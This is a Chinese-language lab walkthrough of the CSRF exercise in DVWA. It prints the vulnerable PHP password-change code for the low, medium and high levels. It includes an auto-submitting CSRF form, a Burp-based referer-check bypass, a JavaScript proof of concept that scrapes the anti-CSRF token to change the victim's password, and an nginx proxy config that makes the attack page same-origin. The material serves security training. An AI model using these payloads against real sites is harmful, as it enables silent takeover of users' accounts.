DVWA-CSRF(跨站请求伪造)
CSRF (跨站请求伪造)是通过在HTML中伪造恶意链接并隐藏在页面中,诱使用户触发执行。由于用户已经在目标网站上进行了认证,在用户不知情的情况下,获取到用户的身份和特权,再以用户的名义执行一些对用户不利的操作(如转账、盗号等)。
DVWA中分为以下级别:
--low
--medium
--high
--impossible
--low级别
服务器端代码:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
从以上代码看出,在修改密码时,只校验提交的新密码和确认密码一致,就更新当前用户的密码信息,没有进行其他校验。
先看一下修改成功的页面信息:
复制url的链接,并重新建一个html,在DVWA登录的请求下,访问是不是也能修改成功。
通过brup suite抓包后,生成一个html页面:
手动创建test_csrf.html文件,然后在浏览器中打开,点击按钮后,修改密码成功。
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://192.168.52.132/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="admin" /> <input type="hidden" name="password_conf" value="admin" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
原因是在同一个浏览器中,如果用户在已完成认证登录的情况下,在其他页面上进行请求时,会自动带入已经认证过的登录信息进行访问,
而服务器端无法区分该请求是否合法,导致用户不清楚的情况下,修改了当前用户的密码。
--medium 级别
服务器端代码:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
在medium中,加入了referer校验上一个页面的当前请求来源是否为本服务器。来防范盗链。
通过brup suite抓包后,右键选择Engagement tools -> Generate CSRF poc ,进行生成新的URL并带入Origin的原信息。
选中Raw中的所有信息,右键选择【Request in browser】->【In original session】生成新的url,
通过该url就可以将密码重新修改为:admin123
--high 级别
服务器端代码:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
在high级别中,加入了token信息,相对而言比较麻烦,每次请求都要带上token信息。
以下内容参考于:https://blog.csdn.net/qq_45751902/article/details/124338151
先抓包看看请求的参数都有哪些?
那么这个token信息是从哪里来的呢?其他就是在/vulnerabilities/csrf/页面中,在获取/vulnerabilities/csrf/页面信息是,后端生成了token信息串,然后存放在页面中,
再次请求时,需要带上token校验当前的请求是否从该页面上发出的。
写一个test.html的静态页面,然后自动请求/vulnerabilities/csrf/页面,再通过正则表达式抓取返回到页面中的token,再重新拼接修改密码的请求链接地址,
再次发送请求。就可以实现CSRF的方式隐形的修改密码。
Test.hmtl 代码如下:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <body> 测试CSRF 修改密码 <script> var tokenUrl = 'http://192.168.52.133:8081/vulnerabilities/csrf/'; if(window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; xmlhttp.withCredentials = true; xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState ==4 && xmlhttp.status==200) { // 使用正则提取 token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); var token = match[1]; // 发起 CSRF 请求 将 token 带入 var new_url = 'http://192.168.52.133:8081/vulnerabilities/csrf/?user_token='+token+'&password_new=admin123&password_conf=admin123&Change=Change'; if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; xmlhttp.open("GET",tokenUrl,false); //重新指定cookie中security级别为high xmlhttp.setRequestHeader('Cookie', 'security=high'); xmlhttp.send(); </script> </body> </html>
如果现在直接在浏览器中打开这个页面,是完成请求的,因为会存在跨域的问题。至于什么是跨域就不在这里多做解释。
要解决跨域问题呢?跨域只存在与浏览器端,简单点说就是浏览器不允许两个不同的源(协议不同、域名不同、端口不同)接口相互调用,其实就是防止像CSRF或XXS这类攻击性的访问。
既然跨域只存在浏览器端,那么就在后端做处理,搭建一个nginx环境,并在将上面写好的test.html放到nginx中,在nginx中做代理去请求就可以。
如果通过yum的形式安装nginx,在/etc/nginx/nginx.conf中进行代理配置。
user nginx; worker_processes auto; error_log /var/log/nginx/error.log notice; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include /etc/nginx/conf.d/*.conf; server { #监听8081端口 listen 8081; server_name 192.168.52.133; index index.html root /var/www/html; location / { # 设置nginx的静态文件存放位置 root /var/nginx/www/html; try_files $uri $uri/ /index.html; } # 当接口请求中含有192.168.52.133:8081/vulnerabilities 地址信息时,将由代理完成请求。 location /vulnerabilities { proxy_pass http://192.168.52.132:80; proxy_set_header Host $host; } } }
在http 中添加server监听前端请求的信息,如果监听到配置路径http://192.168.52.133:8081/vulnerabilities,则nginx会将域名地址转换为:http://192.168.52.132:80/vulnerabilities/... 并进行接口请求,再完成请求后,将响应信息返回给192.168.52.133:8081进行响应。
Nginx代理配置完成后,登录DVWA,重新打开一个空白页面,直接访问http://192.168.52.133:8081/test.html 就可以完成密码修改。
登录132服务器上的dvwa后,在访问133上nginx服务器的test.html页面。